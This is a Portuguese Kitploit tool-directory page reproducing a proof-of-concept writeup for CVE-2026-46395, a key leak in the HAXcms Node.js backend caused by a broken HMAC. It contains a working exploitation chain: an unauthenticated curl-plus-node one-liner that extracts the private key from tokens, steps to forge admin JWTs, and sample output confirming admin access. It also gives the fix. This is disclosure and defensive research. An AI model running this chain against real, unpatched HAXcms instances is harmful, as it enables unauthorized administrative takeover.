Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-46395-haxcms-hmac-key-leak — PoC e writeup para CVE-2026-46395: divulgação não autenticada de chave privada via HMAC quebrado no HAXcms Node.js (CWE-321/CWE-200). Apenas pesquisa de segurança autorizada. | Kitploit
Ferramentas/GitHubGitHub/shreyas-challa/cve-2026-46395-haxcms-hmac-key-leak
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCriptografiaTestes de PenetraçãoAprendizado e Educação
GitHubshreyas-challa/cve-2026-46395-haxcms-hmac-key-leak

CVE-2026-46395-haxcms-hmac-key-leak

PoC e writeup para CVE-2026-46395: divulgação não autenticada de chave privada via HMAC quebrado no HAXcms Node.js (CWE-321/CWE-200). Apenas pesquisa de segurança autorizada.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 2 mesesAinda não revisado

CVE-2026-46395 - Divulgação de Chave Privada no HAXcms Node.js via HMAC Quebrado (CWE-321 / CWE-200)

Prova de conceito apenas para testes de segurança autorizados e pesquisa. A vulnerabilidade descrita aqui está corrigida na versão mais recente do HAXcms. Este PoC é publicado para que defensores e pesquisadores possam verificar o problema em instâncias não corrigidas que possuem ou estão explicitamente autorizados a testar.

CVECVE-2026-46395
Componentebackend do HAXcms Node.js - haxcms-nodejs/src/lib/HAXCMS.js
VulnerabilidadeChave criptográfica embutida no código + divulgação de chave privada (CWE-321, CWE-200)
SeveridadeCrítica - CVSS 3.1 9.8
AtaqueNão autenticado, única requisição HTTP, sem interação do usuário
StatusCorrigido upstream. Afeta versões anteriores ao patch.
Projetoelmsln/HAXcms
RelatorShreyas Challa ([email protected])

Resumo

hmacBase64() no backend Node.js do HAXcms (src/lib/HAXCMS.js:2158-2163) contém dois erros criptográficos que, juntos, permitem que qualquer atacante não autenticado recupere o segredo de assinatura mestre do servidor (privateKey + salt) e forje JWTs de nível administrativo.

root@kitploit:~
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
  var buf1 = crypto.createHmac("sha256", "0").update(data).digest();  // BUG 1: key hardcoded to "0"
  var buf2 = Buffer.from(key);                                        // BUG 2: the real key...
  return Buffer.concat([buf1, buf2]).toString('base64')               // ...is appended to the output
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
  • Bug 1 - Chave HMAC embutida no código: o literal "0" é usado como chave de assinatura em vez de key, então o HMAC não fornece sigilo.
  • Bug 2 - Chave vazada na saída: a key real (privateKey + salt do sistema) é concatenada ao digest e codificada em base64 no token retornado.

Portanto, cada token tem a estrutura:

root@kitploit:~
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )

Um atacante decodifica base64 de qualquer token, descarta os primeiros 32 bytes e lê a chave privada diretamente. O endpoint /system/api/connectionSettings está na lista de ignorados do JWT (src/app.js) e retorna vários desses tokens sem autenticação, então uma única requisição GET expõe a chave.

O backend PHP (HAXCMS.php:1619-1631) implementa isso corretamente (chaveado com a chave real, retorna apenas o digest → tokens de 44 caracteres). A versão Node.js quebrada emite tokens de 139+ caracteres - um sinal visível de que dados extras estão embutidos.

Impacto

Uma única requisição não autenticada resulta em comprometimento total:

  1. Extrair a chave privada - GET /system/api/connectionSettings, decodificar base64 de qualquer token, descartar os primeiros 32 bytes.
  2. Forjar um JWT de admin - jwt.sign(payload, privateKey+salt).
  3. Forjar tokens de requisição - recalcular user_token, form_token, etc.
  4. Acesso total de admin - criar/modificar/excluir sites, enviar arquivos, alterar conteúdo.

Isso funciona mesmo depois que o admin define uma senha forte, e tokens forjados não produzem eventos de login nos logs.

Executando o PoC

poc_hmac_key_leak.js executa toda a cadeia de ponta a ponta contra uma instância em execução e imprime cada etapa detalhadamente: buscar tokens → extrair chave → verificar chave → forjar JWT → forjar tokens de requisição → chamar um endpoint autenticado → criar um site para provar acesso de escrita.

Pré-requisitos

  • Node.js 16+
  • Uma instância do HAXcms Node.js em execução que você está autorizado a testar

Monte uma instância de teste local:

root@kitploit:~
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js            # serves on http://localhost:3000

Instalar e executar o PoC

root@kitploit:~
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install                # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000

Se jsonwebtoken não estiver instalado, o PoC ainda extrai e verifica a chave e simplesmente pula as etapas de forjamento de JWT.

One-liner manual (apenas extração de chave)

root@kitploit:~
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
  | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)

node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
         console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"

Saída de exemplo

root@kitploit:~
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
  token length: 139 chars (a correct HMAC token is ~44)

STEP 2: Extract the private key from the token
  Bytes 32+ (privateKey + salt in PLAINTEXT):
    4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
  RESULT: Private key successfully extracted!

STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.

Correção

Substitua a função quebrada por um HMAC chaveado correto que retorna apenas o digest:

root@kitploit:~
hmacBase64(data, key) {
  return crypto.createHmac("sha256", key)   // use the real key
    .update(data)
    .digest('base64')                        // return ONLY the hash
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

Após a correção:

  1. Todos os JWTs/tokens existentes são invalidados (esperado) - os usuários se reautenticam.
  2. Rotacione privateKey e salt em cada instância implantada - qualquer token emitido anteriormente contém a chave antiga em texto simples (em respostas HTTP, logs e histórico do navegador).

Atualize para a versão mais recente do HAXcms, que contém a correção upstream.

Divulgação responsável

Este problema foi relatado aos mantenedores do HAXcms e corrigido antes da publicação. O PoC é lançado somente após um patch estar disponível. Use-o exclusivamente contra sistemas que você possui ou está explicitamente autorizado a testar.

Aviso legal / uso autorizado

Este material é fornecido para pesquisa defensiva, educação e testes de segurança autorizados. Executá-lo contra sistemas sem permissão explícita pode ser ilegal. Você é o único responsável por cumprir todas as leis aplicáveis e por obter autorização antes de testar. Fornecido "como está" sem garantia (veja LICENSE).

Baixar ferramenta